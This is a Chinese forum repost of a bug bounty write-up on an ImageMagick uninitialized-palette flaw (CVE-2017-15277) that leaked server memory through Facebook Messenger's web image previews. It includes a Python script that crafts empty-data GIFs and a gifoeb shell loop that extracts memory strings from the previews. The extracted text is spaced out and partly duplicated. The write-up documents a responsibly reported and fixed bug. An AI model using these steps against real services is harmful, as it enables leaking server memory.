搜索

[13900] 2019-03-23_FacebookMessenger网页版ImageMagick漏洞（$10K）

文档创建者：s7ckTeam
浏览次数：14
最后更新：2025-01-18
2019-03-23_FacebookMessenger网页版ImageMagick漏洞（$10K） F a c e b o o k   M e s s e n g e r 网 页 版 I m a g e M a g i c k 漏 洞 （ $ 1 0 K ） c l o u d s   F r e e B u f   2 0 1 9 - 0 3 - 2 3 本 文 分 享 的 是 本 文 分 享 的 是 F a c e b o o k   M e s s e n g e r 网 页 版 本 的 网 页 版 本 的 I m a g e M a g i c k 漏 洞 （ 漏 洞 （ C V E - 2 0 1 7 – 1 5 2 7 7 ） ， 虽 然 是 一 个 老 洞 ， 但 也 仍 然 存 在 于 ） ， 虽 然 是 一 个 老 洞 ， 但 也 仍 然 存 在 于 F a c e b o o k 平 台 中 。 利 用 该 漏 洞 可 以 间 接 导 致 服 务 器 内 存 信 息 泄 露 ， 最 终 漏 洞 发 现 者 获 得 了 平 台 中 。 利 用 该 漏 洞 可 以 间 接 导 致 服 务 器 内 存 信 息 泄 露 ， 最 终 漏 洞 发 现 者 获 得 了 F a c e b o o k 官 方 官 方 $ 1 0 , 0 0 0 美 金 的 奖 励 。 美 金 的 奖 励 。 I m a g e M a g i c k 漏 洞 漏 洞 C V E - 2 0 1 7 – 1 5 2 7 7 介 绍 介 绍 C V E - 2 0 1 7 – 1 5 2 7 7 最 早 于 2 0 1 7 年 1 0 月 被 安 全 研 究 人 员 E m i l   L e r n e r 发 现 ， 它 属 于 开 源 图 像 处 理 组 件 I m a g e M a g i c k 漏 洞 ， 受 影 响 软 件 为 I m a g e M a g i c k   7 . 0 . 6 – 1 和 G r a p h i c s m a g i c k   1 . 3 . 2 6 。 原 因 在 于 ， 当 I m a g e M a g i c k 在 处 理 不 具 备 全 局 或 本 地 调 色 板 的 G I F 图 片 时 ， I m a g e M a g i c k   7 . 0 . 6 – 1 和 G r a p h i c s m a g i c k   1 . 3 . 2 6 中 存 在 未 初 始 化 的 调 色 板 ， 其 c o d e r s / g i f . c 文 件 中 R e a d G I F I m a g e 存 在 安 全 漏 洞 ， 如 果 攻 击 者 利 用 R e a d G I F I m a g e 来 处 理 G I F 图 片 ， 构 造 操 作 ， 可 以 通 过 未 初 始 化 的 调 色 板 来 间 接 获 取 到 服 务 器 中 的 内 存 数 据 信 息 。 简 单 地 说 就 是 ， 如 果 服 务 器 中 部 署 了 I m a g e M a g i c k   7 . 0 . 6 – 1 和 G r a p h i c s m a g i c k   1 . 3 . 2 6 ， 且 其 中 具 备 未 初 始 化 的 调 色 板 机 制 ， 那 么 ， 利 用 C V E - 2 0 1 7 – 1 5 2 7 7 ， 通 过 构 造 图 片 文 件 ， 上 传 至 服 务 器 中 的 任 何 可 上 传 地 方 ， 之 后 ， 服 务 器 通 过 处 理 这 种 构 造 图 片 ， 就 会 利 用 未 初 始 化 的 调 色 板 机 制 ， 把 其 转 化 成 不 同 的 图 片 预 览 文 件 ， 而 在 这 些 图 片 预 览 文 件 中 ， 可 能 包 含 了 一 些 和 服 务 器 内 存 相 关 的 信 息 ， 如 S t a c k   t r a c e （ 堆 栈 跟 踪 ） 和 S t r i n g   v a l u e （ 字 符 串 值 ） 信 息 等 。 此 外 ， 从 实 际 功 能 来 说 ， I m a g e M a g i c k 是 一 个 显 示 、 转 换 和 编 辑 光 栅 图 像 和 矢 量 图 像 文 件 的 开 源 软 件 ， 它 被 用 于 许 多 w e b 应 用 中 的 裁 剪 、 调 整 大 小 和 改 变 颜 色 功 能 ， 且 支 持 多 种 图 像 格 式 。 漏 洞 发 现 思 路 漏 洞 发 现 思 路 2 0 1 8 年 2 月 ， 我 在 测 试 F a c e b o o k   M e s s e n g e r   的 安 卓 应 用 A P P ， 研 究 它 对 一 些 损 坏 G I F 图 片 的 处 理 机 制 。 受 I m a g e M a g i c k 漏 洞 （ C V E - 2 0 1 7 – 1 5 2 7 7 ） “ g i f 编 码 器 中 未 初 始 化 的 内 存 泄 露 ” 的 启 发 ， 也 正 好 看 到 了 俄 罗 斯 研 究 人 员 发 布 的 对 应 的 漏 洞 利 用 工 具   -   " g i f o e b " 。 之 后 ， 我 经 测 试 发 现 ， F a c e b o o k   M e s s e n g e r   在 处 理 用 g i f o e b 生 成 的 空 指 针 解 引 用 ( N u l l p o i n t e r   D e r e f e r r e n c e ) 类 图 片 时 ， A P P 程 序 会 发 生 崩 溃 ， 而 F a c e b o o k 官 方 并 不 接 收 这 种 A P P 应 用 类 的 拒 绝 服 务 类 漏 洞 。 后 来 ， 我 就 想 继 续 深 入 研 究 一 下 F a c e b o o k   M e s s e n g e r   对 G I F 格 式 的 处 理 机 制 ， 以 及 G I F 图 片 的 生 成 方 式 。 基 本 的 基 本 的 G I F 图 片 格 式 图 片 格 式
经 过 查 找 ， 我 了 解 了 G I F 图 片 的 基 本 格 式 ， 其 主 要 的 格 式 头 如 下 ： 你 也 可 以 点 此 参 考 详 细 的 G I F 图 片 格 式 说 明 。 之 后 ， 我 决 定 用 最 少 的 必 填 字 段 生 成 一 些 简 单 的 G I F 图 片 。 生 成 生 成 G I F 图 片 图 片 我 用 P y t h o n 写 了 个 G I F 生 成 脚 本 ， 如 下 ： 利 用 这 个 脚 本 ， 就 可 以 生 成 我 们 想 要 的 G I F 图 片 了 ， 其 中 包 含 了 图 片 内 容 、 大 小 、 位 置 等 简 单 属 性 设 置 。 通 过 我 的 注 释 可 以 看 出 ， 我 未 填 充 任 何 G I F 图 片 数 据 ， 所 以 在 C o l o r   T a b l e 尾 部 后 的 这 个 I m a g e   D a t a 块 是 空 的 。 O f f s e t       L e n g t h       C o n t e n t s     0             3   b y t e s     " G I F "     3             3   b y t e s     " 8 7 a "   o r   " 8 9 a "     6             2   b y t e s     < L o g i c a l   S c r e e n   W i d t h >     8             2   b y t e s     < L o g i c a l   S c r e e n   H e i g h t >   1 0             1   b y t e       b i t   0 :         G l o b a l   C o l o r   T a b l e   F l a g   ( G C T F )                                     b i t   1 . . 3 :   C o l o r   R e s o l u t i o n                                     b i t   4 :         S o r t   F l a g   t o   G l o b a l   C o l o r   T a b l e                                     b i t   5 . . 7 :   S i z e   o f   G l o b a l   C o l o r   T a b l e :   2 ^ ( 1 + n )   1 1             1   b y t e       < B a c k g r o u n d   C o l o r   I n d e x >   1 2             1   b y t e       < P i x e l   A s p e c t   R a t i o >   1 3             ?   b y t e s     < G l o b a l   C o l o r   T a b l e ( 0 . . 2 5 5   x   3   b y t e s )   i f   G C T F   i s   o n e >                   ?   b y t e s     < B l o c k s >                   1   b y t e s     < T r a i l e r >   ( 0 x 3 b ) i m p o r t   s t r u c t s c r e e n W i d t h   =   6 4 0 s c r e e n H e i g h t   =   4 8 0 f   =   o p e n ( ' t e s t . g i f ' ,   ' w b ' ) #   O f f s e t       L e n g t h       C o n t e n t s #       0             3   b y t e s     " G I F " #       3             3   b y t e s     " 8 7 a "   o r   " 8 9 a " f . w r i t e ( b " G I F 8 9 a " ) #       6             2   b y t e s     < L o g i c a l   S c r e e n   W i d t h > f . w r i t e ( s t r u c t . p a c k ( ' < h ' ,   s c r e e n W i d t h ) ) #       8             2   b y t e s     < L o g i c a l   S c r e e n   H e i g h t > f . w r i t e ( s t r u c t . p a c k ( ' < h ' ,   s c r e e n H e i g h t ) ) #     1 0             1   b y t e       b i t   0 :         G l o b a l   C o l o r   T a b l e   F l a g   ( G C T F ) #                                       b i t   1 . . 3 :   C o l o r   R e s o l u t i o n #                                       b i t   4 :         S o r t   F l a g   t o   G l o b a l   C o l o r   T a b l e #                                       b i t   5 . . 7 :   S i z e   o f   G l o b a l   C o l o r   T a b l e :   2 ^ ( 1 + n ) b i t s   =   i n t ( ' 0 0 0 0 0 0 1 0 ' ,   2 ) f . w r i t e ( s t r u c t . p a c k ( ' < b ' ,   b i t s ) ) #     1 1             1   b y t e       < B a c k g r o u n d   C o l o r   I n d e x > f . w r i t e ( s t r u c t . p a c k ( ' < b ' ,   0 ) ) #     1 2             1   b y t e       < P i x e l   A s p e c t   R a t i o > f . w r i t e ( s t r u c t . p a c k ( ' < b ' ,   1 ) ) #     1 3             ?   b y t e s     < G l o b a l   C o l o r   T a b l e ( 0 . . 2 5 5   x   3   b y t e s )   i f   G C T F   i s   o n e > #                     ?   b y t e s     < B l o c k s > #   O f f s e t       L e n g t h       C o n t e n t s #       0             1   b y t e       I m a g e   S e p a r a t o r   ( 0 x 2 c ) f . w r i t e ( s t r u c t . p a c k ( ' < b ' ,   0 x 2 c ) ) #       1             2   b y t e s     I m a g e   L e f t   P o s i t i o n f . w r i t e ( s t r u c t . p a c k ( ' < h ' ,   0 ) ) #       3             2   b y t e s     I m a g e   T o p   P o s i t i o n f . w r i t e ( s t r u c t . p a c k ( ' < h ' ,   0 ) ) #       5             2   b y t e s     I m a g e   W i d t h f . w r i t e ( s t r u c t . p a c k ( ' < h ' ,   s c r e e n W i d t h ) ) #       7             2   b y t e s     I m a g e   H e i g h t f . w r i t e ( s t r u c t . p a c k ( ' < h ' ,   s c r e e n H e i g h t ) ) #       8             1   b y t e       b i t   0 :         L o c a l   C o l o r   T a b l e   F l a g   ( L C T F ) #                                       b i t   1 :         I n t e r l a c e   F l a g #                                       b i t   2 :         S o r t   F l a g #                                       b i t   2 . . 3 :   R e s e r v e d #                                       b i t   4 . . 7 :   S i z e   o f   L o c a l   C o l o r   T a b l e :   2 ^ ( 1 + n ) #                     ?   b y t e s     L o c a l   C o l o r   T a b l e ( 0 . . 2 5 5   x   3   b y t e s )   i f   L C T F   i s   o n e f . w r i t e ( s t r u c t . p a c k ( ' < b ' ,   i n t ( ' 0 0 0 0 0 1 0 0 ' ,   2 ) ) ) #                     1   b y t e       L Z W   M i n i m u m   C o d e   S i z e # f . w r i t e ( s t r u c t . p a c k ( ' < b ' ,   1 ) ) #   [   / /   B l o c k s #                     1   b y t e       B l o c k   S i z e   ( s ) # f . w r i t e ( s t r u c t . p a c k ( ' < b ' ,   1 ) ) #                   ( s ) b y t e s     I m a g e   D a t a #   ] * #                     1   b y t e       B l o c k   T e r m i n a t o r ( 0 x 0 0 ) # f . w r i t e ( s t r u c t . p a c k ( ' < b ' ,   0 ) ) #                     1   b y t e s     < T r a i l e r >   ( 0 x 3 b ) f . w r i t e ( s t r u c t . p a c k ( ' < b ' ,   0 x 3 b ) ) f . c l o s e ( )
测 试 测 试 F a c e b o o k   M e s s e n g e r 利 用 上 述 生 成 脚 本 ， 我 生 成 了 各 种 不 同 大 小 、 头 部 字 段 和 像 素 的 图 片 ， 但 是 这 些 所 有 图 片 的 I m a g e   D a t a 块 都 是 空 的 。 之 后 ， 我 开 始 把 它 们 在 F a c e b o o k   M e s s e n g e r 的 安 卓 A P P 上 进 行 测 试 ， 但 是 ， 但 是 ， 什 么 异 常 都 没 有 ， # $ & ^ % $ ( ) & @ 。 哦 ， 好 吧 ， 那 我 去 试 试 F a c e b o o k   M e s s e n g e r 的 网 页 版 吧 。 登 录 F a c e b o o k   M e s s e n g e r 网 页 版 的 方 式 为 ， 在 下 方 网 页 进 行 登 录 ： 登 录 之 后 ， 可 以 在 以 下 红 框 内 和 好 友 进 行 信 息 发 送 ： 现 在 ， 我 就 给 我 的 测 试 账 号 发 了 上 述 生 成 图 片 中 的 一 张 ， 发 送 出 去 后 ， 图 片 的 样 子 有 点 奇 怪 ： 等 等 ， 我 们 的 图 片 不 是 没 什 么 数 据 内 容 吗 ？ 怎 么 ， F a c e b o o k   M e s s e n g e r 网 页 版 后 端 的 解 析 有 点 异 常 。 于 是 ， 我 又 马
上 换 了 另 外 一 个 尺 寸 的 图 片 进 行 发 送 ， 咦 ， 还 有 有 些 问 题 ， 它 被 解 析 为 了 一 张 白 噪 声 图 片 ： 接 着 ， 我 又 重 新 选 择 了 同 一 张 图 片 进 行 发 送 ， 这 次 ， M e s s e n g e r 后 端 解 析 出 的 图 片 和 上 一 次 相 比 ， 又 有 一 些 小 小 的 不 同 ： 经 过 不 同 尺 寸 的 G I F 图 片 测 试 发 送 之 后 ， M e s s e n g e r 后 端 解 析 出 了 一 张 信 号 比 较 稳 定 的 全 屏 图 片 ：
最 终 ， 反 复 的 测 试 发 送 后 ， M e s s e n g e r 后 端 还 解 析 出 了 相 对 稳 定 的 图 片 ： 后 来 ， 我 发 现 ， 为 什 么 每 次 的 图 片 发 送 ， M e s s e n g e r 后 端 都 会 有 不 同 的 解 析 结 果 ， 原 因 是 因 为 我 原 本 生 成 的 图 片 中 没 有 包 含 任 何 内 容 ， 因 此 ， M e s s e n g e r 后 端 会 利 用 调 色 板 机 制 ， 把 每 张 图 片 进 行 随 机 的 预 览 处 理 ， 所 以 每 次 的 发 送 图 片 都 会 有 不 同 的 解 析 预 览 效 果 ， 也 就 是 说 ， 在 这 些 M e s s e n g e r 后 端 生 成 的 解 析 预 览 图 片 中 ， 就 包 含 了 M e s s e n g e r 后 端 服 务 器 的 某 些 信 息 。 （ P S ： 其 实 文 中 作 者 各 种 不 同 大 小 、 头 部 字 段 或 像 素 的 G I F 图 片 生 成 ， 也 可 以 用 C V E - 2 0 1 7 – 1 5 2 7 7 利 用 工 具 g i f o e b 来 完 成 ， 具 体 参 考   g i f o e b 的 G i t h u b 页 面 ） 。 以 下 为 每 次 图 片 发 送 后 的 M e s s e n g e r 后 端 解 析 效 果 视 频 ：
看 不 到 ？ 点 这 里 内 存 信 息 泄 露 内 存 信 息 泄 露 有 了 这 些 M e s s e n g e r 后 端 生 成 的 解 析 预 览 图 片 ， 我 们 可 以 把 它 们 保 存 在 本 地 ， 利 用 C V E - 2 0 1 7 – 1 5 2 7 7 利 用 工 具 g i f o e b ， 通 过 执 行 以 下 命 令 ： 就 能 从 这 些 图 片 中 提 取 出 M e s s e n g e r 后 端 服 务 器 的 内 存 信 息 ， 文 中 作 者 省 略 了 最 终 的 这 一 步 ， 大 家 可 以 参 考 《 H a c k e r O n e 平 台 I m a g e M a g i c k 漏 洞 导 致 服 务 器 内 存 信 息 泄 露 》 体 会 最 终 的 内 存 信 息 泄 露 效 果 。 漏 洞 修 复 进 程 漏 洞 修 复 进 程 f o r   p   i n   p r e v i e w s / * ;   d o         . / g i f o e b   r e c o v e r   $ p   |   s t r i n g s ;     d o n e
2 0 1 8 . 2 . 2 6     漏 洞 初 报 2 0 1 8 . 3 . 1         漏 洞 分 类 2 0 1 8 . 3 . 9         漏 洞 修 复 2 0 1 8 . 3 . 2 1       F a c e b o o k 向 我 奖 励 了 $ 1 0 0 0 0 美 金 * 参 考 来 源 ： 参 考 来 源 ： v u l n a n o ， ， c l o u d s 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理